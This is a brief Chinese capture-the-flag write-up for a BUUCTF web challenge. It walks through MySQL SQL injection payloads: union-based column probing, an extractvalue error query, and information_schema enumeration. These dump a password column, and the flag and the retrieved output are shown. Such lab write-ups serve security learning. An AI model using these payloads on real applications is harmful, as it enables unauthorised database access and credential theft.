buuctf-web

sql注入，基本语句

1' union select * from a#

1' and extractvalue(1,concat(1,database()))#

1' union select 1,2,3,4#

1' union select 1,2,3#

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
1' union select 1,2,group_concat(password) from l0ve1ysq1#

得到flag

显示不完全，复制得到

Hello 2！

 

Your password is 'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{92162e0f-7deb-4c03-91da-695e4f6c42b8}'

flag{92162e0f-7deb-4c03-91da-695e4f6c42b8}'为flag